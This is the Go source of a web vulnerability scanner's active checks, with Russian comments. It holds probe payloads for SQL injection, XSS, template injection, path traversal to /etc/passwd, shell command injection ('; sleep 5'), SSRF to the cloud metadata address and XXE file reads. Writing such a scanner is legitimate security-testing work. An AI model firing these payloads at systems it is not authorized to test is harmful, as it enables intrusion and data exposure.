burterm/internal/scanner/checks.go
2026-09-14 10:55:07 +03:00

335 lines
11 KiB
Go
Raw Permalink Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

package scanner
import (
"fmt"
"strings"
"time"
)
// timeBasedThreshold — насколько дольше baseline должен быть ответ,
// чтобы засчитать time-based индикатор (для SQLi sleep/waitfor и для
// RCE-инъекций). Пороговое значение осознанно консервативное: медленная
// сеть/сервер сами по себе могут дать пару секунд разброса, а payload'ы
// ниже спят по 5 секунд — трёхсекундный порог оставляет запас.
const timeBasedThreshold = 3 * time.Second
// ---------------------------------------------------------------------
// SQLi
type sqliCheck struct{}
func newSQLiCheck() *sqliCheck { return &sqliCheck{} }
func (c *sqliCheck) Name() string { return "SQLi" }
func (c *sqliCheck) Probes() []string {
return []string{
`'`,
`''`,
`' OR '1'='1`,
`' OR SLEEP(5)-- -`,
`1 OR SLEEP(5)`,
`'; WAITFOR DELAY '0:0:5'--`,
`' AND 1=CONVERT(int,(SELECT @@version))--`,
}
}
func (c *sqliCheck) Analyze(probe string, resp, baseline ProbeResult) *Finding {
if resp.Err != nil {
return nil
}
lower := strings.ToLower(resp.Body)
for _, sig := range sqlErrorSignatures {
if strings.Contains(lower, sig) {
return &Finding{
Check: c.Name(), Severity: SeverityHigh,
Detail: "В теле ответа обнаружена сигнатура SQL-ошибки — вероятна SQL-инъекция",
Payload: probe, Evidence: sig,
}
}
}
probeLower := strings.ToLower(probe)
if (strings.Contains(probeLower, "sleep") || strings.Contains(probeLower, "waitfor")) &&
resp.Duration > baseline.Duration+timeBasedThreshold {
return &Finding{
Check: c.Name(), Severity: SeverityHigh,
Detail: fmt.Sprintf("Time-based индикатор: ответ на %.1fs дольше baseline (payload содержит sleep/waitfor)",
(resp.Duration - baseline.Duration).Seconds()),
Payload: probe,
}
}
return nil
}
var sqlErrorSignatures = []string{
"sql syntax", "you have an error in your sql syntax", "mysql_fetch",
"unclosed quotation mark", "quoted string not properly terminated",
"pg_query", "postgresql", "sqlite3.operationalerror",
"ora-01756", "ora-00933", "ora-00921",
"microsoft ole db provider for sql server", "sqlstate", "syntax error at or near",
}
// ---------------------------------------------------------------------
// XSS (reflected)
type xssCheck struct{ canary string }
func newXSSCheck() *xssCheck {
return &xssCheck{canary: "wr" + randToken(4)}
}
func (c *xssCheck) Name() string { return "XSS (reflected)" }
func (c *xssCheck) Probes() []string {
tag := c.canary
return []string{
fmt.Sprintf(`<%s>alert(1)</%s>`, tag, tag),
fmt.Sprintf(`"><%s>alert(1)</%s>`, tag, tag),
fmt.Sprintf(`'><img src=x onerror=%s(1)>`, tag),
fmt.Sprintf(`javascript:%s(1)`, tag),
}
}
func (c *xssCheck) Analyze(probe string, resp, baseline ProbeResult) *Finding {
if resp.Err != nil {
return nil
}
// Ищем канарейку в СЫРОМ виде (с угловыми скобками/как есть) — если
// сервер её экранировал (&lt;wrXXXX&gt;), это не отражение, а
// корректное поведение, и мы не должны его засчитывать как находку.
if strings.Contains(resp.Body, "<"+c.canary) || strings.Contains(resp.Body, c.canary+"(1)") {
return &Finding{
Check: c.Name(), Severity: SeverityHigh,
Detail: "Payload отражён в ответе без HTML-экранирования",
Payload: probe, Evidence: c.canary,
}
}
return nil
}
// ---------------------------------------------------------------------
// SSTI
type sstiCheck struct{}
func newSSTICheck() *sstiCheck { return &sstiCheck{} }
func (c *sstiCheck) Name() string { return "SSTI" }
// Множители подобраны так, чтобы их произведение (59975189) было
// достаточно длинным и не встречалось в обычном ответе случайно —
// в отличие от классического {{7*7}}, где "49" легко спутать с частью
// другого числа на странице.
func (c *sstiCheck) Probes() []string {
return []string{
`{{7349*8161}}`, // Jinja2, Twig, Nunjucks
`${7349*8161}`, // FreeMarker, JSP EL, Thymeleaf
`#{7349*8161}`, // Ruby ERB / некоторые Java EL
`<%= 7349*8161 %>`, // ERB explicit
`${{7349*8161}}`, // встречается как обход некоторых фильтров
}
}
func (c *sstiCheck) Analyze(probe string, resp, baseline ProbeResult) *Finding {
if resp.Err != nil {
return nil
}
if strings.Contains(resp.Body, "59975189") {
return &Finding{
Check: c.Name(), Severity: SeverityHigh,
Detail: "Выражение вычислено сервером — шаблонизатор исполняет входные данные",
Payload: probe, Evidence: "59975189",
}
}
return nil
}
// ---------------------------------------------------------------------
// LFI
type lfiCheck struct{}
func newLFICheck() *lfiCheck { return &lfiCheck{} }
func (c *lfiCheck) Name() string { return "LFI" }
func (c *lfiCheck) Probes() []string {
return []string{
`../../../../etc/passwd`,
`../../../../../../../../etc/passwd`,
`....//....//....//etc/passwd`,
`..%2f..%2f..%2fetc%2fpasswd`,
`/etc/passwd`,
`..\..\..\windows\win.ini`,
`....\\....\\windows\\win.ini`,
}
}
func (c *lfiCheck) Analyze(probe string, resp, baseline ProbeResult) *Finding {
if resp.Err != nil {
return nil
}
switch {
case strings.Contains(resp.Body, "root:x:0:0:") || strings.Contains(resp.Body, "root:*:0:0:"):
return &Finding{
Check: c.Name(), Severity: SeverityHigh,
Detail: "В ответе обнаружено содержимое /etc/passwd", Payload: probe, Evidence: "root:",
}
case strings.Contains(resp.Body, "[boot loader]") || strings.Contains(strings.ToLower(resp.Body), "for 16-bit app support"):
return &Finding{
Check: c.Name(), Severity: SeverityHigh,
Detail: "В ответе обнаружено содержимое win.ini", Payload: probe, Evidence: "[boot loader]",
}
}
return nil
}
// ---------------------------------------------------------------------
// RCE (командная инъекция, time-based)
type rceCheck struct{}
func newRCECheck() *rceCheck { return &rceCheck{} }
func (c *rceCheck) Name() string { return "RCE (command injection)" }
func (c *rceCheck) Probes() []string {
return []string{
`; sleep 5`,
`| sleep 5`,
"`sleep 5`",
`$(sleep 5)`,
`|| sleep 5`,
`& ping -n 6 127.0.0.1 &`,
}
}
func (c *rceCheck) Analyze(probe string, resp, baseline ProbeResult) *Finding {
if resp.Err != nil {
return nil
}
if resp.Duration > baseline.Duration+timeBasedThreshold {
return &Finding{
Check: c.Name(), Severity: SeverityHigh,
Detail: fmt.Sprintf("Time-based индикатор: ответ на %.1fs дольше baseline",
(resp.Duration - baseline.Duration).Seconds()),
Payload: probe,
}
}
return nil
}
// ---------------------------------------------------------------------
// SSRF (best-effort — см. оговорку в doc пакета)
type ssrfCheck struct{}
func newSSRFCheck() *ssrfCheck { return &ssrfCheck{} }
func (c *ssrfCheck) Name() string { return "SSRF" }
func (c *ssrfCheck) Probes() []string {
return []string{
`http://169.254.169.254/latest/meta-data/`,
`http://localhost/`,
`http://127.0.0.1/`,
`http://[::1]/`,
`file:///etc/passwd`,
}
}
func (c *ssrfCheck) Analyze(probe string, resp, baseline ProbeResult) *Finding {
if resp.Err != nil {
return nil
}
lower := strings.ToLower(resp.Body)
if strings.Contains(probe, "169.254.169.254") &&
(strings.Contains(lower, "ami-id") || strings.Contains(lower, "instance-id") || strings.Contains(lower, "iam/security-credentials")) {
return &Finding{
Check: c.Name(), Severity: SeverityHigh,
Detail: "В ответе признаки метаданных облака (AWS IMDS) — сервер выполнил запрос по нашему адресу",
Payload: probe,
}
}
if strings.Contains(probe, "file://") && strings.Contains(resp.Body, "root:x:0:0:") {
return &Finding{
Check: c.Name(), Severity: SeverityHigh,
Detail: "Схема file:// — сервер прочитал локальный файл вместо обращения по сети",
Payload: probe, Evidence: "root:",
}
}
return nil
}
// ---------------------------------------------------------------------
// XXE
type xxeCheck struct{}
func newXXECheck() *xxeCheck { return &xxeCheck{} }
func (c *xxeCheck) Name() string { return "XXE" }
// Probes подставляют payload как ЦЕЛОЕ тело XML-документа — то есть
// имеет смысл только если §маркером§ размечено всё тело запроса
// целиком, а не отдельное значение внутри уже готового XML. Это
// осознанное ограничение модели с одной точкой вставки: реальный XXE
// почти всегда требует контроля над DOCTYPE в начале документа.
func (c *xxeCheck) Probes() []string {
return []string{
`<?xml version="1.0"?><!DOCTYPE data [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><data>&xxe;</data>`,
`<?xml version="1.0"?><!DOCTYPE data [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]><data>&xxe;</data>`,
}
}
func (c *xxeCheck) Analyze(probe string, resp, baseline ProbeResult) *Finding {
if resp.Err != nil {
return nil
}
switch {
case strings.Contains(resp.Body, "root:x:0:0:"):
return &Finding{
Check: c.Name(), Severity: SeverityHigh,
Detail: "Внешняя сущность разыменована — в ответе содержимое /etc/passwd",
Payload: probe, Evidence: "root:",
}
case strings.Contains(resp.Body, "[boot loader]"):
return &Finding{
Check: c.Name(), Severity: SeverityHigh,
Detail: "Внешняя сущность разыменована — в ответе содержимое win.ini",
Payload: probe, Evidence: "[boot loader]",
}
}
return nil
}
// activeChecks — реестр всех активных проверок. Каждый вызов создаёт
// новые экземпляры (важно для xssCheck/sstiCheck — у них своя
// канарейка/константы на запуск сканирования, не разделяемая между
// прогонами).
func activeChecks() []Check {
return []Check{
newSQLiCheck(),
newXSSCheck(),
newSSTICheck(),
newLFICheck(),
newRCECheck(),
newSSRFCheck(),
newXXECheck(),
}
}
// AllCheckNames возвращает имена всех доступных активных проверок —
// используется в TUI для построения списка с чекбоксами ("не гонять
// всё подряд, если нужен только XSS").
func AllCheckNames() []string {
checks := activeChecks()
names := make([]string, len(checks))
for i, c := range checks {
names[i] = c.Name()
}
return names
}